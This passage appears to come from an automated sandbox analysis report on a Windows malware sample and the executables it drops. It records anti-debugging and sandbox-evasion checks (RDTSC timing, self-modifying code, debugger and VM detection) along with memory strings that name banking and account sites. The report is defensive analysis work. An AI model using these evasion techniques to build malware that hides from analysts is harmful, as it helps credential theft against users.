Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 872DDD second address: 872DEA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 87722D second address: 87724C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBAA4BFA509h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 87724C second address: 877251 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 877251 second address: 877259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 877259 second address: 87725F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8773AB second address: 8773BE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBAA4BFA4FEh 0x00000008 jc 00007FBAA4BFA4F6h 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 877531 second address: 877537 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 8776BA second address: 8776C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	RDTSC instruction interceptor: First address: 877988 second address: 87798E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 117F9D7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1319440 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1317C19 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1339682 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1397B10 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Special instruction interceptor: First address: 69ED4E instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Special instruction interceptor: First address: 8338EA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Special instruction interceptor: First address: 85C5C0 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Special instruction interceptor: First address: 69EC77 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Special instruction interceptor: First address: 8B57E8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6BED4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8538EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 87C5C0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6BEC77 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8D57E8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Special instruction interceptor: First address: 2CEB5B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Special instruction interceptor: First address: 2CEC13 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Special instruction interceptor: First address: 50C670 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Special instruction interceptor: First address: DFF9D7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Special instruction interceptor: First address: F99440 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Special instruction interceptor: First address: F97C19 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Special instruction interceptor: First address: FB9682 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Special instruction interceptor: First address: 1017B10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Special instruction interceptor: First address: DADC6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Special instruction interceptor: First address: F627DD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Special instruction interceptor: First address: DADBC9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Special instruction interceptor: First address: FF2BD9 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Memory allocated: 56C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Memory allocated: 5770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Memory allocated: 56C0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsIEGCAAKFBA.exe

Code function: 26_2_04890E7C rdtsc

26_2_04890E7C

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 6300	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6016	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2332	Thread sleep count: 140 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2332	Thread sleep time: -4200000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5608	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2332	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe TID: 4704	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe TID: 6008	Thread sleep time: -90000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsIEGCAAKFBA.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEAC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CEAC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001C.00000002.1683655554.0000000000836000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000020.00000002.2507119468.0000000000836000.00000040.00000001.01000000.0000000E.sdmp, 1017b01294.exe, 00000022.00000002.2507678696.0000000000459000.00000040.00000001.01000000.0000000F.sdmp, 1017b01294.exe, 00000022.00000000.2256868767.0000000000459000.00000080.00000001.01000000.0000000F.sdmp, 1017b01294.exe, 00000022.00000003.2315909991.0000000004FA3000.00000004.00000800.00020000.00000000.sdmp, 474b2c9b63.exe, 00000023.00000002.2400426799.0000000000F75000.00000040.00000001.01000000.00000010.sdmp, 2018142c2f.exe, 00000025.00000000.2387458323.0000000000F40000.00000080.00000001.01000000.00000011.sdmp, 2018142c2f.exe, 00000025.00000002.2506853640.0000000000F40000.00000040.00000001.01000000.00000011.sdmp, 1017b01294.exe, 00000026.00000000.2396616249.0000000000459000.00000080.00000001.01000000.0000000F.sdmp, 1017b01294.exe, 00000026.00000003.2446936963.0000000004A31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: DocumentsIEGCAAKFBA.exe, 0000001A.00000003.1601884946.0000000000559000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1579011520.0000000000816000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2515135836.0000000000E39000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2515135836.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2515135836.0000000000E25000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000022.00000002.2515038353.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, 474b2c9b63.exe, 00000023.00000002.2426496041.0000000001691000.00000004.00000020.00020000.00000000.sdmp, 474b2c9b63.exe, 00000023.00000002.2426496041.0000000001678000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.000000000085B000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2490264910.00000000008BE000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000003.2488337976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, 1017b01294.exe, 00000026.00000002.2515623156.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1017b01294.exe, 00000022.00000002.2515038353.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000000.00000002.1579011520.00000000007E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 474b2c9b63.exe, 00000023.00000002.2426496041.0000000001665000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: DocumentsIEGCAAKFBA.exe, 0000001A.00000003.1607182152.0000000000542000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 474b2c9b63.exe, 00000023.00000002.2426496041.000000000161E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1579861812.00000000012F5000.00000040.00000001.01000000.00000003.sdmp, DocumentsIEGCAAKFBA.exe, 0000001A.00000002.1635252145.0000000000816000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000001B.00000002.1674482350.0000000000836000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.1683655554.0000000000836000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000020.00000002.2507119468.0000000000836000.00000040.00000001.01000000.0000000E.sdmp, 1017b01294.exe, 00000022.00000002.2507678696.0000000000459000.00000040.00000001.01000000.0000000F.sdmp, 1017b01294.exe, 00000022.00000000.2256868767.0000000000459000.00000080.00000001.01000000.0000000F.sdmp, 1017b01294.exe, 00000022.00000003.2315909991.0000000004FA3000.00000004.00000800.00020000.00000000.sdmp, 474b2c9b63.exe, 00000023.00000002.2400426799.0000000000F75000.00000040.00000001.01000000.00000010.sdmp, 2018142c2f.exe, 00000025.00000000.2387458323.0000000000F40000.00000080.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 1017b01294.exe, 00000022.00000003.2434031905.00000000057D3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005588001\474b2c9b63.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005590001\2018142c2f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005587001\1017b01294.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIEGCAAKFBA.exe

Code function: 26_2_04890E7C rdtsc

26_2_04890E7C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEF5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CEF5FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CE93480

Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_0066652B mov eax, dword ptr fs:[00000030h]	26_2_0066652B
Source: C:\Users\user\DocumentsIEGCAAKFBA.exe	Code function: 26_2_0066A302 mov eax, dword ptr fs:[00000030h]	26_2_0066A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_0068A302 mov eax, dword ptr fs:[00000030h]	27_2_0068A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 27_2_0068652B mov eax, dword ptr fs:[00000030h]	27_2_0068652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0068A302 mov eax, dword ptr fs:[00000030h]	28_2_0068A302
